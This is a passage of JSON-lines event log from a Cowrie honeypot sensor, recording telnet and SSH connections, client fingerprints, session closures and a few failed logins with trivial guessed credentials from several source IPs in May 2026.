{"eventid":"cowrie.session.closed","duration":1.0923287868499756,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.395701Z","src_ip":"134.209.8.29","session":"403ce3beac7b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.461126Z","src_ip":"176.65.132.254","session":"43c049c2ada1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.533083Z","src_ip":"103.189.235.176","session":"2863468491da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60452,"dst_ip":"10.17.0.5","dst_port":23,"session":"3342f31eecc5","protocol":"telnet","message":"New connection: 38.54.119.93:60452 (10.17.0.5:23) [session: 3342f31eecc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.680915Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46660,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6268141e7f6","protocol":"telnet","message":"New connection: 62.210.97.77:46660 (10.17.0.5:23) [session: a6268141e7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.871887Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46662,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe8fb7605097","protocol":"telnet","message":"New connection: 62.210.97.77:46662 (10.17.0.5:23) [session: fe8fb7605097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:22.259414Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:22.561592Z","src_ip":"176.65.132.254","session":"43c049c2ada1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46664,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e858f43b7d7","protocol":"telnet","message":"New connection: 62.210.97.77:46664 (10.17.0.5:23) [session: 9e858f43b7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:24.003016Z"}
{"eventid":"cowrie.session.closed","duration":31.388341426849365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:24.082168Z","src_ip":"62.210.97.77","session":"9ed78e44811c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.895885229110718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:24.120052Z","src_ip":"62.210.97.77","session":"765940333276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00178503990173,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:24.303024Z","src_ip":"134.209.8.29","session":"57d0c63d2361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48864,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4a49ae5146","protocol":"telnet","message":"New connection: 136.144.139.78:48864 (159.203.135.109:23) [session: ca4a49ae5146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:24.843735Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41554,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f4d4a603d3b","protocol":"ssh","message":"New connection: 176.65.132.254:41554 (10.17.0.5:22) [session: 9f4d4a603d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:25.172132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:25.177789Z","src_ip":"176.65.132.254","session":"9f4d4a603d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:25.263708Z","src_ip":"176.65.132.254","session":"9f4d4a603d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:25.520629Z","src_ip":"176.65.132.254","session":"9f4d4a603d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60326,"dst_ip":"10.17.0.5","dst_port":23,"session":"620cb895fe8e","protocol":"telnet","message":"New connection: 65.60.27.33:60326 (10.17.0.5:23) [session: 620cb895fe8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:25.660656Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46670,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba80bdb0106","protocol":"telnet","message":"New connection: 62.210.97.77:46670 (10.17.0.5:23) [session: 9ba80bdb0106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:25.843783Z"}
{"eventid":"cowrie.session.closed","duration":30.8313992023468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:26.059131Z","src_ip":"136.144.139.78","session":"ca93c1dfc4d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:26.645928Z","src_ip":"176.65.132.254","session":"9f4d4a603d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.48565626144409,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:26.866775Z","src_ip":"62.210.97.77","session":"f7dd683a3f46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404292345046997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:27.356853Z","src_ip":"62.210.97.77","session":"b50c28245ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46686,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4f4afc3a7d4","protocol":"telnet","message":"New connection: 62.210.97.77:46686 (10.17.0.5:23) [session: e4f4afc3a7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:27.751802Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48870,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dcc3e139ebb","protocol":"telnet","message":"New connection: 136.144.139.78:48870 (159.203.135.109:23) [session: 4dcc3e139ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:28.473988Z"}
{"eventid":"cowrie.session.closed","duration":46.240784883499146,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.003791Z","src_ip":"134.209.8.29","session":"13b0948bec33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.88105845451355,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.045696Z","src_ip":"143.137.226.52","session":"920bacb64013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35088,"dst_ip":"10.17.0.5","dst_port":23,"session":"83607c820fec","protocol":"telnet","message":"New connection: 62.210.97.77:35088 (10.17.0.5:23) [session: 83607c820fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.300060Z"}
{"eventid":"cowrie.session.closed","duration":33.93455624580383,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.521207Z","src_ip":"62.210.97.77","session":"60d35950b9d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35090,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d385584ebbf","protocol":"telnet","message":"New connection: 62.210.97.77:35090 (10.17.0.5:23) [session: 0d385584ebbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.664959Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35100,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb9a269b194","protocol":"telnet","message":"New connection: 62.210.97.77:35100 (10.17.0.5:23) [session: 8bb9a269b194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.670501Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41568,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72e1fb7b2f0","protocol":"ssh","message":"New connection: 176.65.132.254:41568 (10.17.0.5:22) [session: c72e1fb7b2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.685672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.693405Z","src_ip":"176.65.132.254","session":"c72e1fb7b2f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.777815Z","src_ip":"176.65.132.254","session":"c72e1fb7b2f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.379544734954834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:29.834098Z","src_ip":"62.210.97.77","session":"21b0f3954bd9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:30.047134Z","src_ip":"176.65.132.254","session":"c72e1fb7b2f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48880,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4c910e4efb","protocol":"telnet","message":"New connection: 136.144.139.78:48880 (159.203.135.109:23) [session: 2a4c910e4efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:30.087907Z"}
{"eventid":"cowrie.session.closed","duration":47.28032636642456,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:30.303474Z","src_ip":"65.60.27.33","session":"844a54ab9220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38478,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a262e6c91c4","protocol":"telnet","message":"New connection: 65.60.27.33:38478 (10.17.0.5:23) [session: 7a262e6c91c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:31.064225Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:31.140363Z","src_ip":"176.65.132.254","session":"c72e1fb7b2f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.9088809490203857,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:32.972909Z","src_ip":"65.60.27.33","session":"7a262e6c91c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35112,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b9c19acd82e","protocol":"telnet","message":"New connection: 62.210.97.77:35112 (10.17.0.5:23) [session: 3b9c19acd82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:33.058090Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57f6f281467","protocol":"telnet","message":"New connection: 62.210.97.77:35116 (10.17.0.5:23) [session: a57f6f281467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:33.335055Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50616,"dst_ip":"10.17.0.5","dst_port":22,"session":"e49ac16ce5d4","protocol":"ssh","message":"New connection: 176.65.132.254:50616 (10.17.0.5:22) [session: e49ac16ce5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:34.239871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:34.249172Z","src_ip":"176.65.132.254","session":"e49ac16ce5d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:34.336190Z","src_ip":"176.65.132.254","session":"e49ac16ce5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.362606048583984,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:34.344368Z","src_ip":"62.210.97.77","session":"d62481fac992","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:34.583785Z","src_ip":"176.65.132.254","session":"e49ac16ce5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.22712469100952,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:35.092220Z","src_ip":"62.210.97.77","session":"4ee47152d82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:35.669929Z","src_ip":"176.65.132.254","session":"e49ac16ce5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.35467553138733,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:36.466930Z","src_ip":"65.60.27.33","session":"989222b94a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ec41c94748","protocol":"telnet","message":"New connection: 136.144.139.78:48066 (159.203.135.109:23) [session: b0ec41c94748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:38.292841Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":48076,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff0b689b969","protocol":"telnet","message":"New connection: 136.144.139.78:48076 (159.203.135.109:23) [session: aff0b689b969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:38.454214Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50624,"dst_ip":"10.17.0.5","dst_port":22,"session":"f57746043ecd","protocol":"ssh","message":"New connection: 176.65.132.254:50624 (10.17.0.5:22) [session: f57746043ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:38.685035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:38.690553Z","src_ip":"176.65.132.254","session":"f57746043ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:38.775247Z","src_ip":"176.65.132.254","session":"f57746043ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:39.047185Z","src_ip":"176.65.132.254","session":"f57746043ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.70646572113037,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:39.389239Z","src_ip":"62.210.97.77","session":"b07f662ce80e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53150129318237,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:39.398764Z","src_ip":"62.210.97.77","session":"8ba1f6e5a5e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:40.141996Z","src_ip":"176.65.132.254","session":"f57746043ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60082,"dst_ip":"10.17.0.5","dst_port":23,"session":"436497a96d30","protocol":"telnet","message":"New connection: 62.210.97.77:60082 (10.17.0.5:23) [session: 436497a96d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:41.459660Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60084,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1699b31b1f0","protocol":"telnet","message":"New connection: 62.210.97.77:60084 (10.17.0.5:23) [session: a1699b31b1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:41.726417Z"}
{"eventid":"cowrie.session.closed","duration":55.005308389663696,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:41.734679Z","src_ip":"134.209.8.29","session":"be188a721a73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60092,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a75adf7bbb4","protocol":"telnet","message":"New connection: 62.210.97.77:60092 (10.17.0.5:23) [session: 9a75adf7bbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:41.982733Z"}
